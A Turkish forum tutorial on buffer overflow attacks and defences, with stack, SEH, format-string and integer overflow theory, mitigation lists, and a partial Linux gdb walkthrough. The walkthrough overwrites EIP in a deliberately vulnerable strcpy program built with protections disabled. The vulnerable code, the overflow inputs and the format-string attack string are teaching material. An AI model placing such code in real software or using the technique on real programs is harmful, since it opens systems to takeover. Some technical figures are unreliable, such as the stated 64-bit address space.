Konuyu Oyla:
  • Derecelendirme: 5/5 - 1 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım
#1
Merhaba arkadaşlar yine ben KingSkrupellos. Sizlere bugün çoğunu İngilizceden Türkçeye çevirdiğim, bazılarını derleyip bir daha yazdığım, çokça kaynak kullandığım fakat direk olarak almadığım bizzat kendim içinde düzenlemeler yaparak Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları üstüne yazı yazdım. En altta kaynaklarını verdim. Videolu Anlatımlar , Resimler ve Kodlarla birlikte konumu en iyi bir şekilde yazmaya gayret gösterdim. Biliyorsunuz ben işletim sistemleri ve hack üzerine sürekli çalışmalar yapıyorum ve makaleler yazıyorum ve bu konu ise internette fazla Türkçe kaynak olmaması ve yenilerin, bilenler, alanında uzman olanların bile işe yarayabileceği başlangıçtan en üst seviyeye kadar bir doküman hazırladım. Buda hem web attack hemde işletim sistemlerinin açıklarını kullanarak yapılacak saldırı ve hack mantığıdır. Mutlaka hepsini okumanızı, videoları izleminizi ve uygulamaya geçmenizde yardımcı olacağını inanıyorum. İnşallah yardımcı olmuştur. KingSkrupellos. Emeğe Saygı. Hatta internette bulabileceğiniz derli toplu en iyi Buffer Overflow makalesi olduğunu düşünüyorum.
Buffer Overflow Saldırı Hack Mantığı ve Korunma Yolları
Bellek Taşması – Buffer Overflow Saldırısı Hack – Buffer OverFlow Nedir, Ne İşe Yarar ?
www.deccal.org
Videolu Anlatımlar => Buffer Overflow Açığı ve Exploit Kodlamak Videosu
Kod:
http://www.yazilimodasi.com/buffer-overflow-acigi-ve-exploit-kodlamak.html
Buffer Overflow Tampon Taşması Saldırı Hakkındaki En Ayrıntılı Videolar
Diğer Buffer OverFlow Tampon Taşması Saldırısı 13 Farklı Video
Kod:
http://www.youtube.com/watch?v=iZTilLGAcFQ
http://www.youtube.com/watch?v=aEZKGW_VTd4
http://www.youtube.com/watch?v=ahUBv0Nvk1Y
http://www.youtube.com/watch?v=8S0SqXIGv98
http://www.youtube.com/watch?v=uHv95zUvZlY
http://www.youtube.com/watch?v=U0DISuWHXCw
http://www.youtube.com/watch?v=1bkRMwCixTo
http://www.youtube.com/watch?v=fOzPnRZW4TA
http://www.youtube.com/watch?v=oL-7fOiM3H4
http://www.youtube.com/watch?v=2fk935mX8nA
http://www.youtube.com/watch?v=S46U5kmK62I
http://www.youtube.com/watch?v=nt-EZaW_0cc
http://www.youtube.com/watch?v=pXg_aojxpo8
Bilgisayar sistemlerinde kullanılan buffer’ların kapasitesinden çok veri gönderilerek sistemin bozulması ya da normalden fazla trafik oluşturarak iletişimin engellenmesidir. Saldırgan genellikle açıkları, buffer özelliklerini bilir ve ona göre sistemi zorlayacak bilgiler gönderir. Bu boyutu arttırılmış bir ping paketi olabilir.Buffer Overflow saldırısı yazılımların zayıf yönlerini kullanır. Tipik “overflow attack”ları: Sasser wormdur. Buffer overflow’u anlamsal olarak tampon taşması olarak çevirebiliriz. Günümüzde bu saldırıları yapmak her ne kadar işletim sistemlerinin uyguladığı güvenlik önlemleriyle zorlaşmış olsa da hala pek çok exploit bu yöntemle yazılmaktadır. Günümüzde network ve bilgisayar teknolojilerinin hızlı gelişimiyle beraber birçok güvenlik sorunlarını da beraberinde getiriyor. Hafıza bloğu taşması (buffer overflow) açığı, 1970’lerde ortaya çıkmış ve yaklaşık 20 yıl süre zarfında bilişim güvenliği açıklıkları arasında yerini almıştır. “Buffer overflow” güvenlik açığı saldırılarının büyük bir çoğunluğu, uzak network saldırılarında zararlı yazılımların kullanılması ile çok tehlikeli boyutlara ulaşılabiliyor. National Vulnerability Database (https://nvd.nist.gov )’in istatistik verilerine göre, 2011 yılına 260 “Buffer overflow” güvenlik açığı arasından 211 tanesinin yüksek seviyeye sahip olduğu, 2013 yılında ise 35 “buffer overflow” güvenlik açığı arasından 32 tanesinin yüksek seviyeye sahip olduğu tespit edilmiştir. 2011’de SANS firmasının yaptığı en tehlikeli yazılım hataları listesinde de 3. sırada yer alıyor. Bu temel güvenlik açıklıkları işletim sistemlerinde çeşitli koruma mekanizmaları ile giderilmeye çalışılsa da günümüzde dahi çoğu uygulamalarda görülmektedir.
Bellek yönetimi
Arabellek taşması kısaca, değişkenlere varsayılandan büyük veriler girerek taşmaya sebep olunması ve bu sayede istenen bir kodun çalıştırılması olarak tanımlanabilir. Bu zafiyet Assembly, C ve C++ kullanarak yazılmış programlarda bulunmaktadır. Üst seviye programlama dillerinde runtime sırasında gerekli kontroller yapılmaktadır. Arabellek taşmasını anlayabilmek için öncelikle işletim sistemlerinin bellek yönetim sistemini anlamak gerekir. Windows'ta tüm prosesler kendisine ait bir sanal adres uzayında bulunur. Runtime sırasında sanal bellek uzayındaki verilerle gerçek bellektekiler birbiriyle eşleştirilir. Bu sayede hiç bir proses bir başkasının alanına erişemez. 32-bit sistemlerde her bir proses için ayrılan sanal bellek alanı 4 GB'tır. Aynı alan 64-bit sistemlerde yaklaşık olarak 8 GB'tır. 32-bit sistemlerde bu alanın 0x00000000 ile 0x80000000 arasındaki bölümü proseslerin kendi bellek işlemlerini yaptıkları user space olarak kullanılırken, 0x80000000 ile 0xffffffff arasındaki bölümünü ise işletim sistemi kullanır ve bu alan kernel space olarak adlandırılır. Kernel space ancak işletim sistemi tarafından belirlenen fonksiyonlar aracılığıyla ulaşılabilir bir alandır. Prosesler belleğe küçük bölümlere ayrılarak yüklenir ama genel olarak beş ana bölümden bahsedilebilir. Bunlardan text segmenti, program kodlarının assembly olarak bulunduğu yerdir. Text segmenti yazılabilir değildir. Bu segmente yazılmaya çalışıldığında program kapanır. Bu sayede kodun değiştirilmesi engellenmiş olur. Ayrıca text segmenti yazılabilir olmadığı için ihtiyaç duyduğu alan değişmez, dolayısıyla büyüklüğü sabittir. Data segmentinde değer atanmış değişkenler, bss segmentinde ise değer atanmamış değişkenler yer almaktadır. Örneğin; int x şeklinde oluşturulmuş değişkenler bss'te yer alırken, int x=0 ya da printf("yazi") gibi komutlarda yer alan değerler data segmentindedir. Bu segmentler yazılabilir oldukları halde boyutları değiştirilemez. Heap, bellekte runtime sırasında malloc, free gibi fonksiyonlarla işlem yapılmak istendiğinde kullanılır. Bu alanın boyutu değişkendir. Runtime esnasında kapladığı alan büyüyebilir veya küçülebilir. Heap segmenti yüksek belleğe, yani yığına doğru büyür.
www.deccal.org
Yığın (Stack)
İşletim sisteminde yeni bir thread oluşturulduğunda bellekte; fonksiyon parametrelerini, lokal değişkenleri ve fonksiyonların çalışması sonlandıktan sonra devam edeceği yeri saklamak için, yığın denilen alanlar oluşturulur. Her thread için iki yığın oluşturulur. Yığın aynı zamanda son giren ilk çıkar(LIFO - Last In First Out) prensibiyle çalışan soyut bir veri yapısıdır ve konumuz olan yığınlar da ismini paylaştığı bu veri yapısının prensibiyle çalışır.
Yığın da heap gibi değişken boyuta sahiptir. Küçük bellek adreslerine doğru büyüyen yığının en üstüne(düşük adrese) push komutuyla veri eklenirken, pop komutuyla son eklenen eleman çıkarılır.
Yığında en son eklenmiş verinin adresi SP(Stack Pointer) register'ında tutulur. Yani yeni bir veri eklendiğinde(push) veya eklenen son eleman çıkarıldığında(pop) SP'de tutulan adres değişir.
Arabellek taşması
Bir programda fonksiyon çağrıldığında, ilk önce fonksiyon parametreleri yığına yazılır. Ardından fonksiyondan çıkıldıktan sonra hangi komut çalıştırılacaksa, onun adresi yazılır. Sonrasında fonksiyona girmeden önceki değerini saklamak için BP'nin(Base Pointer) o andaki değeri ve ardından da BP'ye SP'nin değeri yazılır(function epilogue). Son olarak fonksiyondaki lokal değişkenleri tutmak için bir arabellek(buffer) alanı oluşturulur. Klasik arabellek taşması bu alanın taşırılarak IP'ye istenen bir değerin yazılması ve böylece program akışının değiştirilmesi durumudur.
Aşağıdaki fonksiyonda girilen parametreyle ilgili hiç bir denetleme bulunmamaktadır. Fonksiyon programcının beklediği biçimde, yani parametre olarak en fazla sekiz karakterlik bir dizi verilerek çağırılırsa yığın Şekil 2'deki gibi olacaktır.
Kod:
void fonksiyon(char* parametre)
  
{
  
     char arabellek[8];
  
     strcpy(arabellek,parametre);
  
}
www.deccal.org
Ancak bu fonksiyon; arabelleği tamamen doldurup, ardından eski BP'ye de yazıp fonksiyonun dönüş değerine istenen bir adres yazılacak biçimde de çağırılabilir. Klasik arabellek taşırma saldırısı bu yolla yapılmaktadır. Bu sayede kodun akışı değiştirilebileceği gibi saldırgan tarafından yazılmış bir kod da(shellcode) çalıştırılabilir. Şekil 3'te arabellek ve BP 'A' harfiyle doldurulmuş dönüş değerine ise istenen bir değer yazılmıştır.Verilen örnekte sctrcpy yerine strlcpy fonksiyonu kullanılsaydı, geçilen parametrenin boyutu kontrol edileceği için zafiyet oluşmayacaktı. Aşağıda bazı fonksiyonların güvenli ve güvensiz versiyonları bulunmaktadır.
www.deccal.org
Programcıların Yapması Gerekenler
www.deccal.org
• Verilen örnekte sctrcpy yerine strlcpy fonksiyonu kullanılsaydı, geçilen parametrenin boyutu kontrol edileceği için zafiyet oluşmayacaktı. Aşağıda bazı fonksiyonların güvenli ve güvensiz versiyonları bulunmaktadır.
• Yazılan fonksiyonlarda girdi denetimi yapılmalı. Girdi denetiminde beyaz liste kullanılmalı ve listenin dışında kalan tüm girdiler reddedilmelidir.
• Kod yazılırken değişken büyüklüğünü her seferinde sayıyla girmek yerine bir kereliğine bir değişkene ya da sabite atayıp sonra hep o kullanılmalı veya değişkene yazılabilecek karakter miktarı sizeof fonksiyonuyla hesaplanmalıdır.
• Eğer aksi gerekli değilse Assembly, C ve C++ yerine, bellek yönetimi ve bellek taşması kontrolü yapan C# ve Java gibi üst seviyeli dillerle programlama yapmak tercih edilmelidir.
• Arabellek taşması güvenliği sağlayan kütüphane ve frameworkler kullanılmalıdır.
• Kod derlenirken derleyicilerin sağladığı arabellek taşması tespit mekanizmaları aktif hale getirilmelidir.
• İstemci tarafında yapılan kontroller sunucuda da yapılmalıdır.
• ASLR(Address Space Layout Randomization) ve DEP(Data Execution Protection) gibi özellikler kullanılmalıdır.
• Uygulamalara gereğinden fazla yetki verilmemelidir.
Hafıza Yapısı
Bir program çalıştırıldığında, işletim sistemi tarafından Şekil-1’deki gibi belleğe yerleştirilir. 0x00000000 – 0xffffffff adres aralığına sahip olan hafızanın ilk yarısı kullanıcı uygulamaları için, diğer yarısı ise çekirdek alanı için ayrılmıştır. “Text segment” kısmına, o an çalıştırılacak programın kodu yani programın bir dizi çalıştırma talimatları yerleştirilir. İçerisinde komutların bulunduğu bu segment, non-linear olup read-only özelliğine sahiptir. “Data segment” kısmında başlatılmış (initialized) global ve statik değişkenler tutulurken, “BSS segment” alanında başlatılmamış (uninitialized) global ve statik değişkenler tutulur. Bu segmentler üzerine yazılabilir özellikte olup segmentlerin boyutları fix tutulmuştur. Son olarak Stack ve Heap segmentler ise hafızada hâlihazırda program çalışırken tahsis edilen ve karşılıklı büyüyen alanlardır. Stack alanı içerisinde register’lar ile erişilebilen önceden oluşturulmuş fonksiyonlara ait local değişkenler ve veriler yer almaktadır. Heap alanı da özel ayırıcılar (allocator) kullanarak erişilebilen (C dilinde malloc() fonksiyonu, C++ dilinde “new” anahtar öneki ile) ve dinamik değişkenlerin oluşturulup sonrasında yok edildiği yerdir. Bu alanın kontrolü programcıya verilmiştir.
www.deccal.org
Buffer overflow (hafıza bloğu taşması) güvenlik açığı bahsettiğimiz stack, heap hatta data alanlarında meydana gelebilmektedir. Bu açıklığı kullanan ataklar, stack overflow, heap overflow, integer overflow şeklinde isimlendirilmektedir. Bu yazımda buffer overflow atak türlerinden olan “stack overflow” yapısından kısaca bahsedip bazı bilinen korunma yöntemlerine değineceğim.
Stack (Yığın) Tabanlı Buffer Overflow
Stack, LIFO (son giren ilk çıkar) yapısına göre çalışmaktadır. x86 mimarisine göre bir program yığında oluşturulduğunda ESP (stack pointer) en üst yığın (top of the stack) adresini, EBP (base pointer) oluşturulan “stack frame” yapısının alt kısmını işaret eder. Yığın (stack) içerisinden bir fonksiyon çağırma işlemi yapıldığında, yığında ESP‘nin gösterdiği değer program çalıştığı sürede yığına yapılan PUSH ve POP işlemlerine göre değişiklik gösterir. EIP (Instruction pointer) ise text segment üzerindeki komut dizininde bulunan çalıştırılacak bir sonraki komutu işaret eder. Yığın oluşturulurken yüksek adresten düşük adrese doğru sırasıyla; fonksiyon argümanları, dönüş adres değeri (Return address), önceki fonksiyondaki kaydedilmiş EBP değeri (Saved EBP) ve fonksiyonda o an oluşturulan değişkenler kaydedilir. Fonksiyon sonlandığında local değişkenler ile beraber fonksiyon yığından kaldırılır ve yığın alanı bir sonraki fonksiyon için temizlenmiş olur.
www.deccal.org
Yığında belirlenmiş alanlara daha fazla veri yazılmaya çalışıldığında “Stack overflow” (yığın bellek taşması) meydana gelmesi, programın çakılmasına ya da yanlış çalışmasına neden olur. “Stack overflow” saldırıları, bu açıklığı kullanarak dönüş (return) adresi üzerine zararlı çalıştırılabilir kod (shellcode) adresi yazılarak kontrolün ele alınması ve yetkisiz erişim sağlanması şeklinde gerçekleşmektedir.
Saldırganlar tarafından kullanılan “Stack buffer overflow” atakları genelde iki yöntemle yapılır.
1. Dönüş adresi üzerine istenilen adres değeri yazılarak,
2. Bir fonksiyon göstericisi (function pointer) ya da SEH (exception handling) işaretcisi üzerine yazılarak yapılır.
Birinci yöntemin (overwriting the return address) en yaygın kullanımı, Şekil-3'te görüldüğü gibi dönüş adresinin tutulduğu register üzerine “JMP ESP” komutu yazmaktır. Bu komutun olduğu herhangi bir adres değeri EIP’ye gösterilerek (bu adres değeri sistem ve uygulama dll dosyalarından da elde edilebilmekte), ESP ’nin gösterdiği önceden saldırgan tarafından oluşturulup belleğe yerleştirilmiş zararlı koda (shellcode) gidilmesi sağlanır. Bunun temel bir örnek yapısı aşağıda verilmiştir.
www.deccal.org
www.deccal.org
İkinci yöntem (Overwriting the Structured Exception Handling-SEH) ise windows işletim sistemi tarafından yazılımsal veya donanımsal problemlerden kaynaklanan ciddi program hatalarının üstesinden gelmek için kullanılan SEH metodunun farklı amaç doğrultusunda kullanılmasıdır. Program çalışma esnasında bir hata (exception) meydana geldiğinde, oluşturulmuş SEH liste bölümüne erişilir. Her SEH kaydı, hata işleyicisi (SE Handler) adresinin ve bir sonraki SEH kaydı (Next SEH Record) adresinin tutulduğu alanlardan oluşur. Hata yakalama yapı göstericisi (SEH) kullanımını istismar etmek kısaca yukarıda bahsedilen SEH hafıza blokları üzerine “buffer overflow” saldırısı ve bazı temel adres hesaplamaları ile çalıştırılacak olan shellcode adresine ulaşılması sağlanır. Aşağıda bunun temel bir örnek yapısı verilmiştir.
www.deccal.org
Buffer Overflow Savunma ve Korunma Teknikleri
“Buffer overflow” saldırısını önlemek veya tespit etmek için çeşitli yöntemler bulunmaktadır. Bunlardan bazılarını aşağıda açıklayalım.
• C ve C++ ile kod yazarken kütüphane fonksiyonları seçimine dikkat edilmelidir. Örneğin strcpy(), strcat(), sprint() ve vsprintf() gibi fonksiyonlar yerine strncpy () gibi daha güvenilir fonksiyon seçimi yapılabilir. Aynı zamanda bellek sınır kontrolleri yazılım bazında yapılmalıdır.
• Yığında bellek taşmasını engellemek için bu bölgelerde çalıştırılabilir kodlara izin vermeme şeklinde bellek politikaları oluşturulabilir. Böylece yığında zararlı kod çalıştırma girişimlerinde istisnai durum (exception) oluşturularak engellenmiş olunur.
• İşletim sistemlerinde ve uygulamalarda kullanılmak üzere geliştirilmiş hafıza koruma mekanizmaları (SafeSEH, SEHOP, DEP, ASLR, EAP gibi) vardır. Windows üzerinde uygulama tabanlı bu ayarlamaları yapmak için Microsoft firmasının anti-exploit kiti olan EMET programı kullanılabilir.
• Statik ve dinamik analiz yöntemleriyle program kaynak kodları analiz edilip “Buffer overflow” güvenlik açığı zafiyetine bakılıp önlemler alınabilir. Bu işte kullanılan değişik buffer overflow dedektörler ve konu ile alakalı onlarca makale bulunmaktadır.
• İşletim sistemi ve sistemde kurulu uygulamaların güncelleştirmelerinin gerçekleştirilmesi ise bellek taşma ataklarından korunmanın en basit ve en etkili yöntemidir.
NOT: Yazıda verilen kod blokları sadece yöntemlerin örnek bir yapısını gösterme amaçlı olup, bu haliyle çalışmaması normaldir.
Yığın Taşmasında Kendinizi Koruma Yolları ve Saldırıya Açık Olup Olmadınığıza Dair Bilgi
-Çalıştırılmayan yıgıtlar kullanabilen sistemler üzerinde programınızı kurun ve isletin (AMD ve Intel x86-64 çipleri ile ilgili 64 bitlik işletim sistemleri (XP SP2 - hem 32 hem 64 bitlik-, Windows 2003 SP1 - hem 32 hem 64 bitlik-, AMD ve
x86-64 işlemciler üzerinde 32 ve 64 bit modalarında Linux 2.6.8 sonrası,
OpenBSD - w^x özellikli Intel, AMD, Sparc, Alpha ve PowerPC-,
noexec_user_stack özelliği çalışır durumda olmayan Solaris 2.6 ve sonrası) ???)
-C ve C++ dışındaki programlama dillerini kullanın
-Çok uzun girdileri önlemek için kullanıcı girdilerinin geçerliliklerini denetleyin ve önceden anlaşılmış şartlara (mesela A-Z, a-z, 0-9, v.b.) uyduklarına emin olmak için değerleri kontrol edin.
-Eğer C ve C++ dillerinde yazılmış işletim sistemi ve yardımcı programlar kullanılıyorsa, en düşük erişim hakkı prensibini (the principle of least privilege) kullandıklarından emin olun, yıgıt ve yıgın (heap) tasmalarına karsı koruyucu derleyiciler kullanın ve sistemi yamaları ile güncel tutun.
Eğer programınız:
-Arabellek tasmasından mustarip olan bir dille yazılmış veya bu diller ile yazılmış başka bir programa bağlı ise ve
-Kullanıcıdan girdi alıyorsa VE
-Girdiyi arıtmıyorsa VE
-Kanarya değerleri (canary values) kullanmadan yıgıt üzerinde ayrılmış değişkenler kullanıyorsa
Uygulama büyük ihtimalle saldırıya açıktır.
Format Dizgisi
Format dizgi arabellek tasmaları, kullanıcının aşağıdakine benzer girdileri girmesinden kaynaklanır:
%08x.%08x.%08x.%08x.%08x\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n
Üstteki saldırı dizgisi yıgıt üzerindeki beş kaydı basacaktır. Format dizgileri son derece özelleşmiş arabellek tasmalarıdır ve buna rağmen, uzaktan tamamen ele geçirme dahil aynı saldırıları uygulamak için kullanılabilirler.
Evrensel kod istismarlarının uygulanmaları Anley’in 2002 yılındaki makalesinde gösterildiği gibi, tipik arabellek tasmalarına Gore biraz daha zordur, ama evrensel kod kullanarak arabellek tasmalarından korunduğunuzu varsaymak yanlıştır. Evrensel kod tasmalarına örneklerden bir tanesi yıkıcı bir Truva atı olan Code Red’dir.
Saldırıya açık olup olmadığınızı anlama (yolları)
Eğer programınız:
-Arabellek taşmalarından mustarip olan bir dille yazılmış veya bu diller ile yazılmış başka bir programa bağlı ise VE
-Kullanıcıdan Unicode girdisi alıyorsa VE
-Girdiyi arıtmıyorsa VE
-Kanarya değerleri kullanmadan yıgıt ve yıgın üzerinde ayrılmış değişkenler kullanıyorsa

-printf(), snprintf() ve bunlara benzer veya es değer diğer fonksiyonları, veya bunları kullanan syslog gibi system servislerini kullanıyorsa uygulama büyük ihtimalle saldırıya açıktır.
Özel yapım (custom) uygulama kodunuz için, güvenilmeyen her kaynaktan gelen girdileri kabul eden bütün kodları incelemeniz ve kodun bu şekildeki bütün girdiler üzerinde büyüklük kontrollerini uyguladığından emin olmanız gerekir.
Bu kontroller, aslında bu tür saldırılara karsı etkilenmeyen yerlerde de yapılmalıdır
çünkü yakalanmayan çok uzun girdiler, hizmet dışı bırakma ve diğer operasyon el problemlere de neden olabilirler.
Tamsayı Tasması
Bir uygulama, iki belirlenmiş büyüklükte sayı aldığında ve bunlar ile bir işler yaptığında, sonuç aynı büyüklükte çıkmayabilir. Mesela, iki 8 bitlik numara olan 192 ve
208 birbirine eklendiğinde ve diğer bir 8 bitlik bir baytta saklanırsa, işlem sonrası meydana çıkan sayı 8 bitlik sonuca sığmayacaktır:
% 1100 0000
+ % 1101 0000
= % 0001 1001 0000
En üstteki yarım sözcük (4 bit) atılacaktır ve geriye kalan geçerli bir sonuç degildir.

Bu durum bütün diller için bir problem olabilir. Mesela, bir çok hexadecimal çeviriler (conversion) %M0’ı 192’ye “başarılı bir şekilde” çevirecektir. Endişelenilmesi gereken diğer alanlar, dizilim indisleri (array indices) ve örtülü (implicit) kısa matematik işlemleridir.
Saldırıya açık olup olmadıgınızı anlama (yolları)
-Web, uygulama sunucu ve Internet altyapınızdaki diğer ürünlerinize ait en son hata raporlarını takip edin. Bu ürünlere ait en son yamaları uygulayın.
-Sunucu ürünlerinizde ve özel yapım web uygulamalarınızda arabellek tasma hatalarını bulacak yaygın olarak kullanılan tarayıcılar ile web sitenizi periyodik olarak tarayın
-Kodunuzu Unicode istismarlarına karsı inceleyin.
-C ve C++ dışındaki programlama dillerini kullanın
-Çok uzun girdileri önlemek için kullanıcı girdilerinin geçerliliklerini denetleyin ve şartlara (mesela A-Z, a-z, 0-9, v.b.) uyduklarına emin olmak için değerleri kontrol edin.
-Eğer C ve C++ dillerinde yazılmış işletim sistemi ve yardımcı programlar kullanılıyorsa, en düşük erişim hakkı prensibini kullandıklarından emin olun, yıgıt ve yıgın (heap) tasmalarına karsı koruyucu derleyiciler kullanın ve sistemi yamaları ile güncel tutun.-Özellikle bayt ve short olan isaretli (signed) tamsayıları inceleyin
-Bu değerlerin, + - * / veya % gibi aritmetik islemler uygulandıktan sonra dizilir indisleri olarak kullanıldığı yerler var mı?
-Kod, negatife veya sıfır indisleri ile basa çıkıyor mu
Kendinizi koruma (yolları)
-.NET: David LeBlanc’ın SafeInt<> C++ sınıfını veya diger yapılarını kullanın
- .Derleyiciniz destekliyorsa ve tam aksi söylenmemişse, tamsayılar için varsayılı değeri işaretsiz (unsigned) olarak değiştirin. Ne zaman kullanmanız gerekiyorsa işaretsiz (unsigned) tamsayıları kullanın.
-.Eğer diliniz ve çatınız (framework) destekliyorsa değer kümesi kontrolleri kullanın
Küçük değerlerle uğraşırken aritmetik işlemlerde dikkatli olun, özellikle tasma işaret değişiklikleri veya diğer hatalar oluşabilecekken..
Linux Buffer Overflow Tampon Taşması Saldırı Hack Mantığı ve Kullanımı

Bilmeniz Gereken Temel Bilgiler:

1-)Dökümanı anlamak için ilk önce yüzeysel olarak C/C++, Assembly bilmeniz gereklidir...
2-)Bellek tasmasinin arkasındaki kavramı anlama
3-)Exploit yazmada kullanılan genel terimler
4-)GDB Bilgisi
5-)Temel Metasploit
6-)Exploit Teknikleri

EAX=Accumalator demektir.sistemde performans hesaplanmasında kullanılır.Fonksiyonların cevaplanması durumunda da kullanılır.
EBX=Base demektir.Kendisiyle ayn ismi taşıyan base pointer ile aynı şey değildir..
EDX=Data demektir.EAX register'in alt kompetentidir.
ESP=Stack pointer.Stack'a gönderilen son değeri adresler
EBP=Base pointer.Stack' a gönderilen ilk değeri adresler
ESI=Source index.İndex datanın lokasyonunu korumakta kullanıılır.
EDI=Destination index.Store edilen data dosyalarının lokasyonunu pointerlara iletir.
EIP=Instrunction pointer.Kısace bir sonra ki komutun yerini gösterir.

Buffer: Hafizada ard arda dizili turden veri tipi (int, char)gibi depolayan hafiza blogudur. C'de bunlar array olarak gecer.
Diğer bütün veri türleri gibi, array'ler de static yada dinamik olarak sınıflandırılabilirler. Static değişkenler,
program hafızaya yüklenirken,programın "data segment"ine yerleştirilir, dinamik değişkenler ise, program halihazırda çalışırken,
dinamik olarak "stack" dediğimiz hafıza da program için hazırlanmış özel bölümde yaratılıp, yokedilirler. İşte bellek tasmasi
dediğimiz olay da, bu dinamik değişkenlerin taşiyabilecekleri veri miktarindan fazlasını yükleyerek değişken'in sınırlarını
aşmadir.

Bellek Tasmasinin Amaçı: Programa ait işlenen komutu bıraktırıp, saldırıyı yapan kişinin shellcode'nda verdiği komutları
çalıştırmasını sağlamaktır.

Shellcode: Saldırganın istediği işlemleri yaptırmasını sağlayan kodlar bulunur.
Buffer Overflow ile hafıza taşması yaşayan program çöker ,işte tam bu anda işlemcinin stack fonksiyonunun doğru dönüş
adresi yerine ,yanlış bir adres alması ile saldırganın hedefi ele geçirebilmesi için gereken kodlar çalıştırılmaya başlanır.

Stack olarak adlandırılan, dinamik değişkenlerin (veya C jargonunda otomatik değişkenlerin) kendisinde oluşturulduğu,
JMP, CALL gibi fonksiyon cağrılarının geri dönüs adreslerinin de geçici olarak saklandığı bölgedir.
ASLR:(Adress Space Layout Randomization)Kısaca adresleme bölümünün düzenlenmesini rastgele hale getirir.
ASLR korumasını kontrol etmek için

Kod:
cat /proc/sys/kernel/randomize_va_space
2
Evet çıktımzı iki olarak aldık peki "2" ne demek? şöyle açıklayalım paronayak seviyesi "0" ise zaten kapalı demek.
Linux sistemler de bellek taşmasını engellemek için Exec Shield diye bir yama geliştirildi ve yama sayesinde data bölümü, stack çöplüğümüz gibi bölümler çalıştıralamaz(non-executable) olarak işaretlendi.İşte bu önlemin adı Never execute(NX) hiçbir zaman çalıştırma olarak belirtilir.

Stack çöplüğündeki kodların okuma,yazma ve çalıştırma haklarının bir diğer kontrol yöntemi

Kod:
objdump -x shell | grep STACK -A 1
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags "rwx"
"rwx" olarak gördük peki nedemek istemiş açıklayalım.Oku,yaz ve çalıştır.Eğer "rw-"olsaydı sadece oku ve yazmak olcaktır.

Şimdide bir örnekle daha iyi anlamaya çalışalım...

Örnek Kodumuz

Kod:
//dosya adi shell.c
#include <stdio.h>
#include <string.h>
void evilfunction(char* input)
{
char buffer[1000];
strcpy(buffer, input);
}
int main(int argc, char** argv)
{
evilfunction(argv[1]);
return 0;
}

$ gcc -ggdb -o shell -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 shell.c

Komutu ile derliyoruz...Kısaca komutu söyle açıklıyalım koruma devreleri iptal(Disable) ediyoruz...
Not:Bu şekilde derlememizde ki asıl amaç mevcut çekirdeklerde bazı korumalar yüzünden "stack" çöplüğünde bulunan kodları çalıştıramayız ve Parçalanma arızası(Segmentation fault) hatası alırız.

Gdb yardımı ile Buffer overflow tespit edeceğiz

Kod:
$ gdb -q ./shell
Reading symbols from /home/wolf/Desktop/shell...done.
(gdb) run `perl -e 'print "A"x1007'`
Starting program: /home/wolf/Desktop/shell `perl -e 'print "A"x1007'`

Program received signal SIGSEGV, Segmentation fault.
"0x00414141" in ?? ()
Not="A"x1007' açıklayalım
"A"x1007 ne demek istemişiz."A" harfini programa 1007 tane ardı ardına gir diyoruz kısaca.
Kod:
(gdb) run `perl -e 'print "A"x1008'`
Starting program: /home/wolf/Desktop/shell `perl -e 'print "A"x1008'`

Program received signal SIGSEGV, Segmentation fault.
"0x41414141" in ?? ()
(gdb) info registers
eax            0xbfffecf4    -1073746700
ecx            0x0    0
edx            0x3f0    1008
ebx            0xb7fc1ff4    -1208213516
esp            0xbffff0e4    0xbffff0e4
ebp            0x41414141    0x41414141
esi            0x0    0
edi            0x0    0
eip            "0x414141"    0x414141
eflags         0x10246    [ PF ZF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
Görüldüğü gibi , uygulamaya uzun bir veri girdiğimizde uygulama iflas etmekte ve başarıyla "EIP" üzerine yazılmakta.

Şimdi main ve evilfunction fonksiyonlarına bir göz atarak başlayalım...

Kod:
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804843c <+0>:    push   %ebp
   0x0804843d <+1>:    mov    %esp,%ebp
   0x0804843f <+3>:    sub    $0x4,%esp
   0x08048442 <+6>:    mov    0xc(%ebp),%eax
   0x08048445 <+9>:    add    $0x4,%eax
   0x08048448 <+12>:    mov    (%eax),%eax
   0x0804844a <+14>:    mov    %eax,(%esp)
   0x0804844d <+17>:    call   0x804841c <evilfunction>
   0x08048452 <+22>:    mov    $0x0,%eax
   0x08048457 <+27>:    leave  
   0x08048458 <+28>:    ret    
End of assembler dump.
Bu arada programımızın kırılma noktalarını ayarlayalım. ilk yerimiz 0x0804844d (evilfunction) ikinci bir dönüş adresi 0x08048458

Kod:
(gdb) break *0x0804844d
Breakpoint 1 at 0x804844d: file shell.c, line 10.
(gdb) break *0x08048458
Breakpoint 2 at 0x8048458: file shell.c, line 12.
(gdb) disassemble 0x804841c
Dump of assembler code for function evilfunction:
   0x0804841c <+0>:    push   %ebp
   0x0804841d <+1>:    mov    %esp,%ebp
   0x0804841f <+3>:    sub    $0x3f0,%esp
   0x08048425 <+9>:    mov    0x8(%ebp),%eax
   0x08048428 <+12>:    mov    %eax,0x4(%esp)
   0x0804842c <+16>:    lea    -0x3e8(%ebp),%eax
   0x08048432 <+22>:    mov    %eax,(%esp)
   0x08048435 <+25>:    call   0x8048300 <strcpy@plt>
   0x0804843a <+30>:    leave  
[code] 0x0804843b <+31>:    ret    
End of assembler dump.
(gdb) break *0x0804843b
Breakpoint 3 at 0x804843b: file shell.c, line 8.
Tüm kırılma noktalarını ayarladıktan sonra çalıştıracagımız kodlardan sonra neler olup bittiğine bir bakalım...

Kod:
(gdb) run `perl -e 'print "A"x1004 . "B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/wolf/Desktop/shell `perl -e 'print "A"x1004 . "B"x4'`

Breakpoint 1, 0x0804844d in main (argc=2, argv=0xbffff194) at shell.c:11
11    evilfunction(argv[1]);
(gdb) stepi
evilfunction (input=0xbffff2f9 'A' <repeats 200 times>...) at shell.c:5
5    {
(gdb) info registers  esp
esp            0xbffff0e0    0xbffff0e0
(gdb) x /20x $esp - 32
0xbffff0c0:    0x00000002    0xbffff194    0xbffff1a0    0xbffff0e8
